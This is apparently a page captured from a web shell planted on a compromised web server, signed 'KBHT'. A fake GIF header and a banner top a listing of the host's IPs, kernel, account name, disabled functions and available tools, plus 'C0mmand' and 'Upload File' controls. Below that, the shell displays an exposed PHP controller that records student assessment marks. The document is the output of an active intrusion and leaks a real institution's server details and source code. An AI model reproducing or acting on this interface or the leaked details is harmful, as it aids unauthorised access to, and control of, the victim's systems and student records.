GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.135.214.139
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../admission/../cas/application/controllers/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../admission/../cas/application/controllers/admin/Assessment.php
<?php

/**
 * Request Handler For Assessment Related Requests
 *
 * @author Softpro India Pvt. Ltd.
 */
class Assessment extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->model("admin/OBESManagement");
        $this->load->model("admin/SessionManagement");
        $this->load->model("admin/SubjectManagement");
        $this->load->model("admin/StudentManagement");
    }

    public function feedTestMarks() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $adminData = $this->session->userdata("adminData");
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData['subjects'] = $this->SubjectManagement->getAllotedSubjectBy($adminData["smember_id"])->result();
            if (isset($_POST["filterTestBtn"])) {
                $session = $this->input->post("session");
                $subject = $this->input->post("subject");
                $test_name = $this->input->post("test_name");
                $viewData["selectedSubject"] = $subject;
                $viewData["selectedTest"] = $test_name;
                $viewData["question"] = $this->OBESManagement->getTestQuestionbySubject($subject, $test_name)->result();
                if (sizeof($viewData["question"]) == 0) {
                    $this->session->set_flashdata("errorMessage", "No Question are Available in this Assessment.");
                }
                $viewData["studentAllottedData"] = $this->StudentManagement->getAllStudentAllotedToSubjectForMarksFeeding($subject, $test_name)->result();
            } else if (isset($_POST["allotBtn"])) {
                $session = $this->input->post("session");
                $subject = $this->input->post("subject");
                $test_name = $this->input->post("test_name");
                $newStudentQuesMarkData = array();
                $viewData["selectedSubject"] = $subject;
                $question = $this->OBESManagement->getTestQuestionbySubject($subject, $test_name)->result();
                $studentAllottedData = $this->StudentManagement->getAllStudentAllotedToSubjectForMarksFeeding($subject, $test_name)->result();
                for ($i = 0; $i < sizeof($studentAllottedData); $i++) {
                    if ($this->input->post("box" . $studentAllottedData[$i]->tspi_rollNumber) == $studentAllottedData[$i]->tspi_rollNumber) {
                        for ($j = 0; $j < sizeof($question); $j++) {
                            array_push($newStudentQuesMarkData, array(
                                "session_id" => $session,
                                "sta_id" => $subject,
                                "test_id" => $test_name,
                                "tspi_id" => $studentAllottedData[$i]->tspi_id,
                                "qno_id" => $question[$j]->qno_id,
                                "stm_obt_marks" => $this->input->post("obt" . $i . $j),
                                "stm_flag" => $this->input->post($studentAllottedData[$i]->tspi_rollNumber),
                                "stm_added_by" => $this->session->userdata("adminData")["smember_id"],
                                "stm_added_on" => date("Y-m-d H:i:s"),
                                "stm_updated_by" => $this->session->userdata("adminData")["smember_id"],
                                "stm_updated_on" => date("Y-m-d H:i:s")
                            ));
                        }
                    }
                }
                $this->db->trans_start();
                if ($this->OBESManagement->feedNewStudentObtainMarks($newStudentQuesMarkData)) {
                    $this->db->trans_complete();
                    $this->session->set_flashdata("successMessage", "Save Student Assessment Marks Successful.");
                    redirect("admin/Assessment/feedTestMarks");
                } else {
                    $this->session->set_flashdata("errorMessage", "An Error Occured While Student Assessment Marks . Try Later.");
                    redirect(current_url());
                }
            } else {
                $viewData["question"] = array();
                $viewData["selectedTest"] = "";
                $viewData["studentAllottedData"] = array();
            }
            $this->load->view("admin/academics/feedTestMarks", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function getTestsBySubjectTeacherAllotmentForDropdown() {
        $sta_id = $_POST["sta_id"];
        $test_id = $this->input->post("test_id");
        $query = $this->OBESManagement->getNonDeletedActiveTestsBySTA($sta_id);
        $data = $query->result();
        $options = "<option value=''>Select Assessment</option>";
        for ($i = 0; $i < (sizeof($data)); $i++) {
            $selected = ($test_id == $data[$i]->test_id) ? "selected" : "";
            $options .= "<option " . $selected . " value=" . $data[$i]->test_id . ">" . $data[$i]->test_name . "</option>";
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'test_list' => $options
        );
        echo json_encode($responseData);
    }

    public function viewStudentTestMarks() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $adminData = $this->session->userdata("adminData");
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData['subjects'] = $this->SubjectManagement->getAllotedSubjectBy($adminData["smember_id"])->result();
            if (isset($_POST["filterTestBtn"])) {
                $subject = $this->input->post("subject");
                $test_name = $this->input->post("test_name");
                $viewData["selectedSubject"] = $subject;
                $viewData["selectedTest"] = $test_name;
                $viewData["questions"] = $this->OBESManagement->getStudentTestMarksBy($subject, $test_name)->result();
                $viewData["question"] = $this->OBESManagement->getTestQuestionbySubject($subject, $test_name)->result();
                if (sizeof($viewData["question"]) == 0) {
                    $this->session->set_flashdata("errorMessage", "No Question are Available in this Assessment.");
                }
                $viewData["studentAllottedData"] = $this->StudentManagement->getAllStudentAllotedToSubjectForFeededMarksBy($subject, $test_name)->result();
            } else {
                $viewData["question"] = array();
                $viewData["selectedTest"] = "";
                $viewData["studentAllottedData"] = array();
            }
            $this->load->view("admin/academics/viewStudentTestMarks", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function editStudentMarks() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $adminData = $this->session->userdata("adminData");
            $viewData['sessions'] = $this->SessionManagement->getNonDeletedActiveSessions()->result();
            $viewData['subjects'] = $this->SubjectManagement->getAllotedSubjectBy($adminData["smember_id"])->result();
            if (isset($_POST["filterTestBtn"])) {
                $session = $this->input->post("session");
                $subject = $this->input->post("subject");
                $test_name = $this->input->post("test_name");
                $viewData["selectedSubject"] = $subject;
                $viewData["selectedTest"] = $test_name;
                $viewData["questions"] = $this->OBESManagement->getStudentTestMarksBy($subject, $test_name)->result();
                $viewData["question"] = $this->OBESManagement->getTestQuestionbySubject($subject, $test_name)->result();
                if (sizeof($viewData["question"]) == 0) {
                    $this->session->set_flashdata("errorMessage", "No Question are Available in this Assessment.");
                }
                $viewData["studentAllottedData"] = $this->StudentManagement->getAllStudentAllotedToSubjectForFeededMarksBy($subject, $test_name)->result();
            } else if (isset($_POST["allotBtn"])) {
                $session = $this->input->post("session");
                $subject = $this->input->post("subject");
                $test_name = $this->input->post("test_name");
                $newStudentQuesMarkData = array();
                $viewData["selectedSubject"] = $subject;
                $viewData["questions"] = $this->OBESManagement->getStudentTestMarksBy($subject, $test_name)->result();
                $question = $this->OBESManagement->getTestQuestionbySubject($subject, $test_name)->result();
                $studentAllottedData = $this->StudentManagement->getAllStudentAllotedToSubjectForFeededMarksBy($subject, $test_name)->result();
                $k = 0;
                for ($i = 0; $i < sizeof($studentAllottedData); $i++) {
                    if ($this->input->post("box" . $studentAllottedData[$i]->tspi_rollNumber) == $studentAllottedData[$i]->tspi_rollNumber) {
                        for ($j = 0; $j < sizeof($question); $j++) {

                            array_push($newStudentQuesMarkData, array(
                                "stm_id" => $this->input->post("stm_id" . $i . $j),
                                "stm_obt_marks" => $this->input->post("obt" . $i . $j),
                                "stm_flag" => $this->input->post($studentAllottedData[$i]->tspi_rollNumber),
                                "stm_updated_by" => $this->session->userdata("adminData")["smember_id"],
                                "stm_updated_on" => date("Y-m-d H:i:s")
                            ));
                        }
                    }
                    $k++;
                }
                $this->db->trans_start();
                if ($this->OBESManagement->updateFeedStudentObtainMarks($newStudentQuesMarkData)) {
                    $this->db->trans_complete();
                    $this->session->set_flashdata("successMessage", "Save Student Assessment Marks Successful.");
                    redirect("admin/Assessment/editStudentMarks");
                } else {
                    $this->session->set_flashdata("errorMessage", "An Error Occured While Student Assessment Marks . Try Later.");
                    redirect(current_url());
                }
            } else {
                $viewData["question"] = array();
                $viewData["selectedTest"] = "";
                $viewData["studentAllottedData"] = array();
            }
            $this->load->view("admin/academics/editStudentMarks", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function getTestsBySubjectForDropdown() {
        $sm_id = $_POST["subject"];
        $test_id = $this->input->post("test");
        $query = $this->OBESManagement->getNonDeletedActiveTestsBy($sm_id);
        $data = $query->result();
        $options = "<option value=''>Select Assessment</option><option value='All' selected>All (Overall CO-Attainement)</option>";
        for ($i = 0; $i < (sizeof($data)); $i++) {
            $selected = ($test_id == $data[$i]->test_id) ? "selected" : "";
            $options .= "<option " . $selected . " value=" . $data[$i]->test_id . ">" . $data[$i]->test_name . "</option>";
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'test_list' => $options
        );
        echo json_encode($responseData);
    }

}

KBHT - 2023